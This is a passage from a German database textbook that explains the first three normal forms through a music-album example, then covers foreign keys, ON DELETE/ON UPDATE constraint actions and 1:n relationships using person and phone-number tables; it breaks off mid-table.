        In weiterer Folge werden wir uns also darum kümmern, Informationen auf mehrere Tabellen aufzuteilen, um eine sauberere Speicherung von Daten zu ermöglichen. Die Theorie dazu liefern uns die Normalformen. (Es gibt fünf Normalformen; praktikabel sind die erste bis dritte Normalform, wie Sie gleich feststellen werden.) In der Praxis hilft zusätzlich auch ein Zugang über den gesunden Menschenverstand. Also gehen wir’s an.

        
            12.9.1    Das perfekte Datenbankdesign in der Theorie: Normalformen

            Im Wesentlichen geht es bei gutem Datenbankdesign darum, dass Daten innerhalb einer Tabelle ohne Redundanzen (öfter vorkommende Einträge) gespeichert werden können. Hierzu werden die Informationen, die sich theoretisch in nur einer Tabelle befinden, gegebenenfalls in mehrere Tabellen aufgeteilt. Um dies anschaulich zu demonstrieren, sehen wir uns das Beispiel einer Speicherung von Musikalben an.

            Was wissen wir also über Musikalben? Nun, wir können Folgendes sagen:

            
                	
                    Ein Album besteht aus mehreren Songs in einer gewissen Reihenfolge, wobei die Anzahl der Songs von Album zu Album unterschiedlich sein kann.

                

                	
                    Ein Album wird von einem Interpreten herausgebracht und hat ein Veröffentlichungsdatum. (Wir gehen hier der Einfachheit halber davon aus, dass ein Album nur von exakt einem Interpreten herausgebracht wird, obwohl das in der Realität mitunter natürlich anders sein kann.)

                

                	
                    Jeder Interpret kann mehrere Alben herausbringen.

                

            

            So weit, so gut. Ein erster Entwurf für eine Tabelle, in der diese Daten gespeichert werden, könnte etwa so aussehen wie Tabelle 12.18.

            
                
                    
                        	
                            IDAlbum

                        
                        	
                            Album

                        
                        	
                            Gründungs-jahr der Band

                        
                        	
                            Erscheinungs-jahr

                        
                        	
                            Songs

                        
                    

                
                
                    
                        	
                            1

                        
                        	
                            Nirvana – Nevermind

                        
                        	
                            1987

                        
                        	
                            1991

                        
                        	
                            1: Smells like Teen Spirit, 2: In Bloom, 3: Come as you are, 4: Breed, 5: Lithium, 6: Polly, 7: Territorial Pissings, 8: Drain you, 9: Lounge Act, 10: Stay away, 11: On a Plain, 12: Something in the way

                        
                    

                    
                        	
                            2

                        
                        	
                            Nirvana – Bleach

                        
                        	
                            1987

                        
                        	
                            1989

                        
                        	
                            1: Blew, 2: Floyd the Barber, 3: About a Girl, 4: School, 5: Love Buzz, 6: Paper Cuts, 7: Negative Creep, 8: Scoff, 9: Swap Meet, 10: Mr. Moustache, 11: Sifting, 12: Big Cheese, 13: Downer

                        
                    

                    
                        	
                            3

                        
                        	
                            Metallica – Black Album

                        
                        	
                            1981

                        
                        	
                            1994

                        
                        	
                            1: Enter Sandman, 2: Sad but true, 3: Holier than thou, 4: The Unforgiven, 5: Wherever I may roam, 6: Don't tread on me, 7: Through the Never, 8: Nothing else matters, 9: Of Wolf and Man, 10: The God that failed, 11: My Friend of Misery, 12: The Struggle within

                        
                    

                    
                        	
                            4

                        
                        	
                            Korn – Follow the Leader

                        
                        	
                            1993

                        
                        	
                            1998

                        
                        	
                            1: Untitled 01, 2: Untitled 02, 3: Untitled 03, 4: Untitled 04, 5: Untitled 05, 6: Untitled 06, 7: Untitled 07, 8: Untitled 08, 9: Untitled 09, 10: Untitled 10, 11: Untitled 11, 12: Untitled 12, 13: It's on!, 14: Freak on a Leash, 15: Got the Life, 16: Dead Bodies everywhere, 17: Children of the KoRn, 18: B.B.K., 19: Pretty, 20: All in the Family, 21: Reclaim my Place, 22: Justin, 23: Seed, 24: Camelitosis, 25: My Gift to you, 26: Earache my Eye

                        
                    

                
            

            Tabelle 12.18    
            Tabelle ohne Normalform

            
                Erste Normalform

                Zunächst einmal ist an der Verständlichkeit der Datenspeicherung nichts auszusetzen: Für jedes Album wissen wir, wer es veröffentlicht hat, wie es heißt, wann es veröffentlicht wurde und welche Songs in welcher Reihenfolge vorkommen. Dennoch stoßen wir bei dieser Form unweigerlich auf folgende Probleme:

                
                    	
                        Der Albumtitel und der Interpret sind nicht voneinander getrennt, wodurch eine Suche nach entweder Interpret oder Albumtitel mitunter schwierig wird.

                    

                    	
                        Die einzelnen Songtitel sind als Liste in der Tabelle abgelegt, wodurch sie nur gesamt ausgegeben werden können oder zuvor zerlegt werden müssen.

                    

                

                Die entsprechende Lösung lautet:

                
                    	
                        Der Albumtitel und der Interpret müssen voneinander getrennt werden: Pro Information, die wir in einer Tabelle speichern, muss ein eigens dafür vorgesehenes Feld verwendet werden.

                    

                    	
                        Auch für jeden Songtitel müssen wir einen eigenen Eintrag verwenden.

                    

                

                Es gilt also ganz allgemein:

                Erste Normalform: Für jede zu speichernde Information muss ein eigenständiges Feld (Spalte) existieren.

                Tabelle 12.19 zeigt das Ergebnis unserer Umformung:

                
                    
                        
                            	
                                IDAlbum

                            
                            	
                                Interpret

                            
                            	
                                Gründungs-jahr

                            
                            	
                                Album

                            
                            	
                                Erscheinungs-jahr

                            
                            	
                                RF

                            
                            	
                                Song

                            
                        

                    
                    
                        
                            	
                                1

                            
                            	
                                Nirvana

                            
                            	
                                1987

                            
                            	
                                Nevermind

                            
                            	
                                1991

                            
                            	
                                1

                            
                            	
                                Smells like Teen Spirit

                            
                        

                        
                            	
                                1

                            
                            	
                                Nirvana

                            
                            	
                                1987

                            
                            	
                                Nevermind

                            
                            	
                                1991

                            
                            	
                                2

                            
                            	
                                In Bloom

                            
                        

                        
                            	
                                1

                            
                            	
                                Nirvana

                            
                            	
                                1987

                            
                            	
                                Nevermind

                            
                            	
                                1991

                            
                            	
                                3

                            
                            	
                                Come as you are

                            
                        

                        
                            	
                                1

                            
                            	
                                Nirvana

                            
                            	
                                1987

                            
                            	
                                Nevermind

                            
                            	
                                1991

                            
                            	
                                4

                            
                            	
                                Breed

                            
                        

                        
                            	
                                ...

                            
                            	
                            	
                            	
                            	
                            	
                            	
                        

                        
                            	
                                2

                            
                            	
                                Nirvana

                            
                            	
                                1987

                            
                            	
                                Bleach

                            
                            	
                                1989

                            
                            	
                                1

                            
                            	
                                Blew

                            
                        

                        
                            	
                                2

                            
                            	
                                Nirvana

                            
                            	
                                1987

                            
                            	
                                Bleach

                            
                            	
                                1989

                            
                            	
                                2

                            
                            	
                                Floyd the Barber

                            
                        

                        
                            	
                                2

                            
                            	
                                Nirvana

                            
                            	
                                1987

                            
                            	
                                Bleach

                            
                            	
                                1989

                            
                            	
                                3

                            
                            	
                                About a Girl

                            
                        

                        
                            	
                                2

                            
                            	
                                Nirvana

                            
                            	
                                1987

                            
                            	
                                Bleach

                            
                            	
                                1989

                            
                            	
                                4

                            
                            	
                                School

                            
                        

                        
                            	
                                ...

                            
                            	
                            	
                            	
                            	
                            	
                            	
                        

                        
                            	
                                3

                            
                            	
                                Metallica

                            
                            	
                                1981

                            
                            	
                                Black Album

                            
                            	
                                1994

                            
                            	
                                1

                            
                            	
                                Enter Sandman

                            
                        

                        
                            	
                                3

                            
                            	
                                Metallica

                            
                            	
                                1981

                            
                            	
                                Black Album

                            
                            	
                                1994

                            
                            	
                                2

                            
                            	
                                Sad but true

                            
                        

                        
                            	
                                3

                            
                            	
                                Metallica

                            
                            	
                                1981

                            
                            	
                                Black Album

                            
                            	
                                1994

                            
                            	
                                3

                            
                            	
                                Holier than thou

                            
                        

                        
                            	
                                3

                            
                            	
                                Metallica

                            
                            	
                                1981

                            
                            	
                                Black Album

                            
                            	
                                1994

                            
                            	
                                4

                            
                            	
                                The Unforgiven

                            
                        

                        
                            	
                                ...

                            
                            	
                            	
                            	
                            	
                            	
                            	
                        

                        
                            	
                                4

                            
                            	
                                Korn

                            
                            	
                                1993

                            
                            	
                                Follow the Leader

                            
                            	
                                1998

                            
                            	
                                1

                            
                            	
                                Untitled 01

                            
                        

                        
                            	
                                4

                            
                            	
                                Korn

                            
                            	
                                1993

                            
                            	
                                Follow the Leader

                            
                            	
                                1998

                            
                            	
                                2

                            
                            	
                                Untitled 02

                            
                        

                        
                            	
                                4

                            
                            	
                                Korn

                            
                            	
                                1993

                            
                            	
                                Follow the Leader

                            
                            	
                                1998

                            
                            	
                                3

                            
                            	
                                Untitled 03

                            
                        

                        
                            	
                                4

                            
                            	
                                Korn

                            
                            	
                                1993

                            
                            	
                                Follow the Leader

                            
                            	
                                1998

                            
                            	
                                4

                            
                            	
                                Untitled 04

                            
                        

                        
                            	
                                ...

                            
                            	
                            	
                            	
                            	
                            	
                            	
                        

                    
                

                Tabelle 12.19    
            Tabelle in der ersten Normalform (unvollständig)

            
            
                Zweite Normalform

                Nun sind jedoch zwei andere Probleme entstanden:

                
                    	
                        Jede Tabelle benötigt pro Datensatz eine eindeutige Kennung: den Primärschlüssel. War das in der ursprünglichen Variante noch über die IDAlbum möglich, so ist dies nun nicht mehr der Fall. Der sich aktuell ergebende Primärschlüssel ist eine Kombination aus den Feldern IDAlbum und RF (Reihenfolge der Songs). Nun ist es jedoch so, dass der Interpret, der Albumtitel und das Erscheinungsjahr zwar von dem Feld IDAlbum abhängig sind, jedoch nicht von der Reihenfolge. Ist dies der Fall, ist die zweite Normalform verletzt.

                    

                    	
                        Die Informationen zum Album und zum Interpreten kommen nun mehrfach in der Tabelle vor. Es gilt jedoch der Grundsatz, den ich ganz oben bereits angesprochen hatte: die Vermeidung redundanter Informationen. Das Problem dabei ist, dass es ganz schnell passieren kann, dass man Schreibfehler im Albumtitel oder beim Interpreten hat, wodurch die Daten nicht mehr zusammenpassen.

                    

                

                
                    [»]  Wer gibt die Daten ein?

                    An dieser Stelle könnte ein cleverer Leser argumentieren, dass derartige Schreibfehler nicht vorkommen können, da man diese in der Regel über entsprechende Programmierung vermeidet. Hier kommt jedoch ein sehr wichtiger Grundsatz zum Tragen: Das Datenbankdesign muss unabhängig von irgendeiner Anwendungsprogrammierung betrachtet werden. Sie dürfen beim Datenbankdesign zunächst einmal nicht davon ausgehen, dass es ein grafisches Interface zur Wartung der Daten überhaupt gibt. Es geht uns aktuell nur um die Datenbank, und die kann in weiterer Folge von irgendeinem System genutzt werden – muss aber nicht genutzt werden.

                

                Das Problem ist also, dass es vorkommen könnte, dass ein einzelner Eintrag eines Albums überschrieben wird: Aus »Nevermind« wird »New and blind«. Natürlich geht dadurch der Bezug zum ursprünglichen Album »Nevermind« verloren, wodurch der Song »Come as you are« nicht mehr dem Album »Nevermind« zugeordnet werden kann (siehe Tabelle 12.20).

                
                    
                        
                            	
                                IDAlbum

                            
                            	
                                Interpret

                            
                            	
                                Gründungs-jahr

                            
                            	
                                Album

                            
                            	
                                Erscheinungs-jahr

                            
                            	
                                Reihen-folge

                            
                            	
                                Song

                            
                        

                    
                    
                        
                            	
                                1

                            
                            	
                                Nirvana

                            
                            	
                                1987

                            
                            	
                                Nevermind

                            
                            	
                                1991

                            
                            	
                                1

                            
                            	
                                Smells like Teen Spirit

                            
                        

                        
                            	
                                1

                            
                            	
                                Nirvana

                            
                            	
                                1987

                            
                            	
                                Nevermind

                            
                            	
                                1991

                            
                            	
                                2

                            
                            	
                                In Bloom

                            
                        

                        
                            	
                                1

                            
                            	
                                Nirvana

                            
                            	
                                1987

                            
                            	
                                New and blind

                            
                            	
                                1991

                            
                            	
                                3

                            
                            	
                                Come as you are

                            
                        

                        
                            	
                                1

                            
                            	
                                Nirvana

                            
                            	
                                1987

                            
                            	
                                Nevermind

                            
                            	
                                1991

                            
                            	
                                4

                            
                            	
                                Breed

                            
                        

                        
                            	
                                ...

                            
                            	
                            	
                            	
                            	
                            	
                            	
                        

                    
                

                Tabelle 12.20    
            Fehlerhafte Datenspeicherung führt zu Konsistenzproblemen.

                Die Lösung zu diesem Problem lautet, dass die Songtitel in einer zweiten Tabelle gespeichert werden müssen. In dieser neuen Tabelle wird dann auf das Album verwiesen, zu dem der Song gehört. Einen derartigen Verweis nennt man Fremdschlüssel. Somit erhält man zwei Tabellen:

                
                    	
                        eine Tabelle für die Alben (siehe Tabelle 12.21)

                    

                    	
                        eine Tabelle für die Songs der Alben (siehe Tabelle 12.22)

                    

                

                
                    
                        
                            	
                                IDAlbum

                            
                            	
                                Interpret

                            
                            	
                                Gründungsjahr

                            
                            	
                                Album

                            
                            	
                                Erscheinungsjahr

                            
                        

                    
                    
                        
                            	
                                1

                            
                            	
                                Nirvana

                            
                            	
                                1987

                            
                            	
                                Nevermind

                            
                            	
                                1991

                            
                        

                        
                            	
                                2

                            
                            	
                                Nirvana

                            
                            	
                                1987

                            
                            	
                                Bleach

                            
                            	
                                1989

                            
                        

                        
                            	
                                3

                            
                            	
                                Metallica

                            
                            	
                                1981

                            
                            	
                                Black Album

                            
                            	
                                1994

                            
                        

                        
                            	
                                4

                            
                            	
                                Korn

                            
                            	
                                1993

                            
                            	
                                Follow the Leader

                            
                            	
                                1998

                            
                        

                    
                

                Tabelle 12.21    
            Die Tabelle für die Alben

                
                    
                        
                            	
                                IDSong

                            
                            	
                                FIDAlbum

                            
                            	
                                Reihen-folge

                            
                            	
                                Songtitel

                            
                        

                    
                    
                        
                            	
                                1

                            
                            	
                                1

                            
                            	
                                1

                            
                            	
                                Smells like Teen Spirit

                            
                        

                        
                            	
                                2

                            
                            	
                                1

                            
                            	
                                2

                            
                            	
                                Im Bloom

                            
                        

                        
                            	
                                3

                            
                            	
                                1

                            
                            	
                                3

                            
                            	
                                Come as you are

                            
                        

                        
                            	
                                4

                            
                            	
                                1

                            
                            	
                                4

                            
                            	
                                Breed

                            
                        

                        
                            	
                                ...

                            
                            	
                            	
                            	
                        

                        
                            	
                                13

                            
                            	
                                2

                            
                            	
                                1

                            
                            	
                                Blew

                            
                        

                        
                            	
                                14

                            
                            	
                                2

                            
                            	
                                2

                            
                            	
                                Floyd the Barber

                            
                        

                        
                            	
                                15

                            
                            	
                                2

                            
                            	
                                3

                            
                            	
                                About a Girl

                            
                        

                        
                            	
                                16

                            
                            	
                                2

                            
                            	
                                4

                            
                            	
                                School

                            
                        

                        
                            	
                                ...

                            
                            	
                            	
                            	
                        

                        
                            	
                                26

                            
                            	
                                3

                            
                            	
                                1

                            
                            	
                                Enter Sandman

                            
                        

                        
                            	
                                27

                            
                            	
                                3

                            
                            	
                                2

                            
                            	
                                Sad but true

                            
                        

                        
                            	
                                28

                            
                            	
                                3

                            
                            	
                                3

                            
                            	
                                Holier than thou

                            
                        

                        
                            	
                                29

                            
                            	
                                3

                            
                            	
                                4

                            
                            	
                                The Unforgiven

                            
                        

                        
                            	
                                ...

                            
                            	
                            	
                            	
                        

                        
                            	
                                38

                            
                            	
                                4

                            
                            	
                                1

                            
                            	
                                Untitled 01

                            
                        

                        
                            	
                                39

                            
                            	
                                4

                            
                            	
                                2

                            
                            	
                                Untitled 02

                            
                        

                        
                            	
                                40

                            
                            	
                                4

                            
                            	
                                3

                            
                            	
                                Untitled 03

                            
                        

                        
                            	
                                41

                            
                            	
                                4

                            
                            	
                                4

                            
                            	
                                Untitled 04

                            
                        

                        
                            	
                                ...

                            
                            	
                            	
                            	
                        

                    
                

                Tabelle 12.22    
            Tabelle für die Songs mit einem Verweis/Fremdschlüssel (»FIDAlbum«) auf das Album

                Zweite Normalform: Jede Spalte der Tabelle muss eindeutig abhängig von allen Feldern des Primärschlüssels sein.

                
                    [»]  Anmerkung zur zweiten Normalform

                    In aller Regel stellt die zweite Normalform nur selten ein Problem dar, da es nicht oft vorkommt, dass sich ein Primärschlüssel aus mehreren Feldern zusammensetzt. (Was per se weder gut noch schlecht wäre; einfacher ist es zumeist jedoch, für einen Primärschlüssel nur eine einzige Spalte zu verwenden.) Meist sind die Tabellen bereits so aufgebaut, dass man sich sofort um die dritte Normalform kümmert, da die zweite Normalform bereits gegeben ist.

                

            
            
                Dritte Normalform

                Gut, nun zum letzten Schritt. Nach wie vor kommen der Interpret und das Gründungsjahr mehrfach in der Album-Tabelle vor und sind deshalb redundant. Das nun auftretende Problem ist, dass man beispielsweise unterschiedliche Gründungsjahre für ein und denselben Interpreten angeben könnte, wie Tabelle 12.23 zeigt.

                
                    
                        
                            	
                                IDAlbum

                            
                            	
                                Interpret

                            
                            	
                                Gründungsjahr

                            
                            	
                                Album

                            
                            	
                                Erscheinungsjahr

                            
                        

                    
                    
                        
                            	
                                1

                            
                            	
                                Nirvana

                            
                            	
                                1987

                            
                            	
                                Nevermind

                            
                            	
                                1991

                            
                        

                        
                            	
                                2

                            
                            	
                                Nirvana

                            
                            	
                                1997

                            
                            	
                                Bleach

                            
                            	
                                1989

                            
                        

                        
                            	
                                3

                            
                            	
                                Metallica

                            
                            	
                                1981

                            
                            	
                                Black Album

                            
                            	
                                1994

                            
                        

                        
                            	
                                4

                            
                            	
                                Korn

                            
                            	
                                1993

                            
                            	
                                Follow the Leader

                            
                            	
                                1998

                            
                        

                    
                

                Tabelle 12.23    
            Die Tabelle enthält ein falsches Gründungsjahr.

                Sobald dieses Problem eintritt, ist klar, dass man ohne weitere Kenntnis keine Entscheidung treffen kann, welches nun das korrekte Gründungsjahr ist: 1987 oder 1997? Die Lösung besteht darin, die Daten für das Album und die Interpreten in mehrere Tabellen aufzusplitten:

                
                    
                        
                            	
                                IDInterpret

                            
                            	
                                Interpret

                            
                            	
                                Gründungsjahr

                            
                        

                    
                    
                        
                            	
                                1

                            
                            	
                                Metallica

                            
                            	
                                1981

                            
                        

                        
                            	
                                2

                            
                            	
                                Nirvana

                            
                            	
                                1987

                            
                        

                        
                            	
                                3

                            
                            	
                                Korn

                            
                            	
                                1993

                            
                        

                    
                

                Tabelle 12.24    
            Die Tabelle der Interpreten enthält keine album-, sondern nur interpretenbezogene Daten.

                
                    
                        
                            	
                                IDAlbum

                            
                            	
                                FIDInterpet

                            
                            	
                                Album

                            
                            	
                                Erscheinungsjahr

                            
                        

                    
                    
                        
                            	
                                1

                            
                            	
                                2

                            
                            	
                                Nevermind

                            
                            	
                                1991

                            
                        

                        
                            	
                                2

                            
                            	
                                2

                            
                            	
                                Bleach

                            
                            	
                                1989

                            
                        

                        
                            	
                                3

                            
                            	
                                1

                            
                            	
                                Black Album

                            
                            	
                                1994

                            
                        

                        
                            	
                                4

                            
                            	
                                3

                            
                            	
                                Follow the Leader

                            
                            	
                                1998

                            
                        

                    
                

                Tabelle 12.25    
            Die Albentabelle enthält neben den albenbezogenen Daten nun auch einen Verweis auf die Interpretentabelle.

                Die Songs-Tabelle bleibt natürlich so erhalten, wie sie war, da von dort aus lediglich der Verweis auf die Albentabelle erfolgt, die ja nach wie vor existiert.

                Dritte Normalform: Sämtliche Spalten in den Tabellen sind nicht mehr (funktional) voneinander abhängig.

                Grafisch können wir uns das Ergebnis nun als sogenanntes ER-Diagramm ansehen (Entity-Relation-Diagramm; siehe Abbildung 12.17).

                
                    [image: Die grafische Darstellung der Tabellen erleichtert das Verständnis der Zusammenhänge.]

                    Abbildung 12.17    
            Die grafische Darstellung der Tabellen erleichtert das Verständnis der Zusammenhänge.

                
                Für uns ist nun jedoch eines sehr wesentlich: Allein durch die Aufsplittung in mehrere Tabellen haben wir eine Normalisierung erreicht – der Bezug zwischen den einzelnen Tabellen für Fremdschlüsselfelder entsteht jedoch nicht automatisch. Um ihn müssen wir uns noch kümmern, indem wir sogenannte Constraints (Beziehungen) erzeugen. Außerdem müssen wir beim Anlegen von Fremdschlüsseln folgende Punkte beachten:

                
                    	
                        Fremdschlüsselfelder müssen vom selben Datentyp mit derselben Länge und denselben Attributen sein wie die Felder, auf die sie verweisen.

                        Weil Fremdschlüsselfelder auf Primärschlüsselfelder anderer Tabellen verweisen, müssen sie also wie Primärschlüsselfelder aufgebaut sein, jedoch ohne die Angabe von Auto-Increment und ohne Primärschlüssel-Index, da Fremdschlüsselwerte mehrfach vorkommen dürfen: ID int(10) UNSIGNED NOT NULL auto-increment Primary → FID int(10) UNSIGNED NOT NULL Index

                    

                    	
                        Fremdschlüsselfelder müssen einen Index erhalten.

                    

                

            
        
        
            12.9.2    Constraints und die Praxis

            Wie bereits erwähnt, ist der Zugang zu den Normalformen oft recht einleuchtend. Aus diesem Grund nähert man sich der Thematik oftmals sehr intuitiv, ohne über den theoretischen Hintergrund nachzudenken. Auch werden Sie sehen, dass eine Normalisierung nicht immer erwünscht ist, da sie beispielsweise zu Performance-Einbußen führen kann.

            
                Eine Person – mehrere Telefonnummern

                Sehen wir uns also ein erstes Beispiel an: Angenommen, Sie wollen für Personen in einer Tabelle die Möglichkeit bieten, mehrere (beliebig viele) Telefonnummern pro Person zu speichern. Hier erkennen Sie sofort, dass das Wort »beliebig« ein Problem darstellt, da in einer Tabelle nicht beliebig viele Spalten angelegt werden können. Das heißt, man muss sich eine andere Idee einfallen lassen.

                Was also nicht klappt, ist eine Struktur wie in Tabelle 12.26.

                
                    
                        
                            	
                                IDPerson

                            
                            	
                                Vorname

                            
                            	
                                Nachname

                            
                            	
                                …

                            
                            	
                                Tel1

                            
                            	
                                Tel2

                            
                            	
                                Tel3

                            
                            	
                                …

                            
                        

                    
                    
                        
                            	
                            	
                            	
                            	
                            	
                            	
                            	
                            	
                        

                    
                

                Tabelle 12.26    
            Eine Tabelle mit »beliebig vielen« Feldern für Telefonnummern ist nicht realisierbar.

                Der Grund, warum das nicht zum Erfolg führt, ist folgender: Selbst wenn man meint, eine Person könne maximal zehn Telefonnummern haben (und wir somit zehn Telefonnummernspalten anlegen würden), so treffen wir mit Sicherheit irgendwann auf eine Person, die mehr als zehn Telefonnummern besitzt. Außerdem würden für die meisten anderen Personen viele dieser Spalten leer bleiben, und das ist wiederum etwas, das man in Datenbanken gar nicht mag.

                Die Lösung zu diesem Problem ist, dass wir die Informationen zu den Telefonnummern auslagern:

                
                    
                        
                            	
                                IDPerson

                            
                            	
                                Vorname

                            
                            	
                                Nachname

                            
                            	
                                …

                            
                        

                    
                    
                        
                            	
                                3

                            
                            	
                                Uwe

                            
                            	
                                Mutz

                            
                            	
                        

                        
                            	
                                5

                            
                            	
                                Silvia

                            
                            	
                                Mutz

                            
                            	
                        

                        
                            	
                                8

                            
                            	
                                Herbert

                            
                            	
                                Karajan

                            
                            	
                        

                        
                            	
                                11

                            
                            	
                                Ludwig

                            
                            	
                                van Beethoven

                            
                            	
                        

                        
                            	
                                12

                            
                            	
                                Amadeus

                            
                            	
                                Wolfgang

                            
                            	
                        

                        
                            	
                                17

                            
                            	
                                Falco

                            
                            	
                                Falco

                            
                            	
                        

                    
                

                Tabelle 12.27    
            Die Personentabelle enthält nur personenbezogene Daten …

                
                    
                        
                            	
                                IDTelNo

                            
                            	
                                FIDPerson

                            
                            	
                                Telno

                            
                        

                    
                    
                        
                            	
                                3

                            
                            	
                                5

                            
                            	
                                …

                            
                        

                        
                            	
                                4

                            
                            	
                                3

                            
                            	
                                …

                            
                        

                        
                            	
                                5

                            
                            	
                                11

                            
                            	
                                …

                            
                        

                        
                            	
                                6

                            
                            	
                                11

                            
                            	
                                …

                            
                        

                        
                            	
                                8

                            
                            	
                                11

                            
                            	
                                …

                            
                        

                        
                            	
                                10

                            
                            	
                                17

                            
                            	
                                ..

                            
                        

                        
                            	
                                11

                            
                            	
                                5

                            
                            	
                                …

                            
                        

                        
                            	
                                12

                            
                            	
                                7

                            
                            	
                                …

                            
                        

                    
                

                Tabelle 12.28    
            ... und die Telefonnummern-Tabelle enthält neben den Telefonnummern einen Verweis auf diejenige Person, der diese Telefonnummer gehört.

                In der Telefonnummern-Tabelle verweist die Spalte FIDPerson mit ihren Einträgen auf die Einträge der Spalte IDPerson der Personentabelle. Eine solche Spalte trägt – wie Sie im vorangegangenen Abschnitt erfahren haben – die Bezeichnung Fremdschlüssel, da sie den Wert eines (Primär-)Schlüssels einer fremden Tabelle beinhaltet.

                Ein offensichtliches Problem liefert der Eintrag mit der FIDPerson=7 in der Telefonnummerntabelle, da es in der Personentabelle keine Person mit der IDPerson=7 gibt. Der Grund dafür könnte sein, dass es früher einmal eine Person mit dieser IDPerson=7 gab, man nach dem Löschen dieser Person aber vergessen hat, auch die zugehörige(n) Telefonnummer(n) aus der Telefonnummerntabelle zu entfernen. Dies bedeutet aber auch, dass die Tabellen innerhalb der Datenbank keine echte Verbindung zueinander haben können – die Einträge in der Fremdschlüsselspalte sind bis dato nur ein gedankliches Konstrukt, nicht mehr. In jedem Fall spricht man bei dem auftretenden Problem von einer Dateninkonsistenz, da gewisse Informationen nicht mehr zuordenbar sind.

                Derartige Probleme sind vermeidbar, indem man die zu speichernden Informationen nicht einfach nur in einzelne Tabellen aufteilt und über eine Fremdschlüsselspalte eine gedanklichen Verbindung herstellt, sondern diesen Zusammenhang auch der Datenbank kundtut.

                Einen solchen Zusammenhang zwischen Tabellen nennt man in der Fachsprache Constraint (Beziehung). Eine solche Beziehung stellt sowohl für das Löschen (ON DELETE) als auch für das Ändern (ON UPDATE) von in Beziehung stehenden Spalten eine Verarbeitungsweise her. Wir unterscheiden zwischen vier Verarbeitungsweisen:

                
                    	
                        CASCADE (Weitergabe): In diesem Fall wird die Aktion der Haupttabelle (das ist diejenige mit dem Primärschlüssel) an die Untertabelle (das ist diejenige mit dem Fremdschlüssel) weitergegeben:

                        
                            	
                                Im Falle des Löschens (ON DELETE) bedeutet dies, dass beim Löschen eines Eintrags der Haupttabelle alle zugehörigen Einträge der Untertabelle gelöscht werden. Beispielsweise sollen alle Telefonnummern, die einer Person zugewiesen sind, gelöscht werden, sollte die Person selbst gelöscht werden.

                            

                            	
                                Im Falle des Aktualisierens (ON UPDATE) bedeutet dies, dass beim Ändern des Primärschlüssels der Haupttabelle auch alle Fremdschlüsseleinträge der Untertabelle aktualisiert werden. Beispielsweise wird die IDPerson einer Person in der Personentabelle von 7 auf 8 geändert. Somit sollten alle Einträge der Person 7 in der Telefonnummerntabelle auf den Eintrag 8 geändert werden.

                            

                        

                    

                    	
                        SET NULL: Hierbei wird die Fremdschlüsselspalte der Untertabelle auf den Wert NULL gesetzt, sollte es eine Änderung eines Eintrags in der Haupttabelle geben:

                        
                            	
                                Löschen/Ändern: Der Eintrag in der Haupttabelle wird gelöscht/geändert, in der Untertabelle bleiben alle zugehörigen Einträge jedoch erhalten; die Werte der zugehörigen Fremdschlüsselspalte in der Untertabelle werden auf NULL gesetzt. Beachten Sie, dass ein Auf-NULL-Setzen nur dann möglich ist, wenn ein NULL für die Fremdschlüsselspalte überhaupt erlaubt ist – dies muss bereits beim Anlegen der Fremdschlüsselspalte berücksichtigt werden.

                            

                        

                    

                    	
                        RESTRICT: Wird RESTRICT verwendet, so wird ein Ändern (Löschen/Aktualisieren) des Datensatzes in der Haupttabelle nicht erlaubt, sofern ein zugehöriger Eintrag in einer verbundenen Tabelle existiert.

                    

                    	
                        NO ACTION: In diesem Fall wird bei einer Änderung eines Datensatzes in der Haupttabelle gar keine Änderung an den Einträgen der Untertabelle vorgenommen. Dies bedingt somit eine gewisse Art der Inkonsistenz, da die Einträge der Untertabelle zwar allesamt noch vorhanden sind, jedoch nicht mehr zugeordnet werden können.

                    

                

                
                    [»]  No Action in MySQL

                    In MySQL-Datenbanken können Sie No Action nicht nutzen. Anstelle von No Action wird die oben beschriebene Aktion Restrict verwendet.

                

                Hat man eine entsprechende Beziehung angelegt, so wird diese als eine Verbindung zwischen Tabellen in der Datenbank gespeichert. Dies kann man auch grafisch in Form eines ER-Diagramms (Entity-Relation Diagramm) darstellen, wie Sie in Abbildung 12.18 sehen.

                Bitte beachten Sie, dass ich bis dato noch nicht angesprochen habe, wie man die Constraints erzeugt: Aktuell ist mir nur wichtig, dass Sie verstehen, wofür Constraints gut sind und welche Arten von Beziehungen zwischen Tabellen existieren können. Die Art der Beziehung, die Sie hier kennengelernt haben, nennt sich 1:n-Beziehung: Eine Person darf n Telefonnummern besitzen (wobei das n für »beliebig viele«, aber auch null Telefonnummern steht).

                
                    [image: Unsere Datenbank »db_fullstack« ohne und mit Constraint]

                    Abbildung 12.18    
            Unsere Datenbank »db_fullstack« ohne und mit Constraint

                
                Ein weiteres Beispiel wäre etwa, wenn für Personen ihr Geburtsland mitgespeichert werden soll. In diesem Fall müsste es eine eigene Staaten-Tabelle geben, auf die von der Usertabelle aus verwiesen wird (siehe Tabelle 12.29).

                
                    
                        
                            	
                                IDStaat

                            
                            	
                                Staat

                            
                            	
                                Kurzzeichen

                            
                            	
                                Vorwahl

                            
                        

                    
                    
                        
                            	
                                1

                            
                            	
                                Österreich

                            
                            	
                                AT

                            
                            	
                                43

                            
                        

                        
                            	
                                2

                            
                            	
                                Deutschland

                            
                            	
                                DE

                            
                            	
                                49

                            
                        

                        
                            	
                                3

                            
                            	
                                Schweiz

                            
                            	
                                CH

                            
                            	
                                41

                            
                        

                        
                            	
                                4

                            
                            	
                                Spanien

                            
                            	
                                ES

                            
                            	
                                34

                            
                        

                        
                            	
                                5

                            
                            	
                                Italien

                            
                            	
                                IT

                            
                            	
                                39

                            
                        

                    
                

                Tabelle 12.29    
            Eine Staatentabelle könnte neben den Staatennamen auch weitere Informationen wie ein Kurzzeichen oder eine Vorwahl beinhalten (auch wenn diese zunächst einmal gar nicht benötigt werden).

                Die Personentabelle würde dann über eine geeignete Spalte auf den Staat verweisen (siehe Tabelle 12.30). Dass es sich bei diesem Staat um das Geburtsland und nicht etwa um die Staatsbürgerschaft handelt, weiß die Datenbank natürlich nicht.

                
                    
                        
                            	
                                IDPerson

                            
                            	
                                Vorname

                            
                            	
                                Nachname

                            
                            	
                                FIDGeburtsland

                            
                        

                    
                    
                        
                            	
                                3

                            
                            	
                                Uwe

                            
                            	
                                Mutz

                            
                            	
                                1

                            
                        

                        
                            	
                                5

                            
                            	
                                Silvia

                            
                            	
                                Mutz

                            
                            	
                                1

                            
                        

                        
                            	
                                8

                            
                            	
                                Herbert

                            
                            	
                                Karajan

                            
                            	
                                1

                            
                        

                        
                            	
                                11

                            
                            	
                                Ludwig

                            
                            	
                                van Beethoven

                            
                            	
                                2

                            
                        

                        
                            	
                                12

                            
                            	
                                Amadeus

                            
                            	
                                Wolfgang

                            
                            	
                                1

                            
                        

                        
                            	
